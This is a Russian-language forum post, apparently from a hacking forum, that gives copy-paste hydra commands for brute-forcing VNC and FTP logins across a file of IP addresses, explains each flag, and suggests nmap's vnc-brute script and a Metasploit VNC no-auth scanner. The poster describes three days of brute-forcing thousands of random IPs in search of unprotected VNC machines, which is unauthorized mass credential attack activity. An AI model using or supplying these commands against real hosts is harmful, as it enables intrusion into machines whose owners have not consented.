en раздельно (-e n) выдает ошибку (если вводить в терминале )
Путь до файлов с паролями и IP не нужно брать в кавычки.
Вот, просто скопируйте и вставьте в консоль:
hydra -s 5901 -e n -p 123 -t 16 -M /root/ip.txt vnc
Параметры:
hydra сама программа
-s 5901 //необязательный параметр. нужен лишь для того, чтобы указать гидре , что служба висит не на стандартном порту. (т.е для стандартного порта 5090 указывать не нужно, достаточно указать протокол: vnc)
-e n //проверять пустой пароль
-p 123 //-p пароль . Если пароли из файла, то -Р файлнейм
-t 16 //не обязательно, 16 это по умолчанию
-M путь до файла с IP
vnc // протокол
т.е если брутить порт по умолчанию(например фтп:21) команда будет такая:
hydra -e n -p 123 -M /root/ip.txt ftp
[doublepost=1503072685,1503071665][/doublepost]
Однако про брутив тысяча ip , так и не нашел ни одного заветного vnc (в текстовом файле godnopass5901 .txt отсутствует найденные айпишники vnc )
Я трое суток брутил - шишь с маслом.
Проще, nmap врубить со скриптом: nmap -T4 -A --script=vnc-brute
или metasploit: msf> auxiliary(vnc_none_auth) > use scanner/vnc/vnc_none_auth
хоть какая-то реакция наблюдается.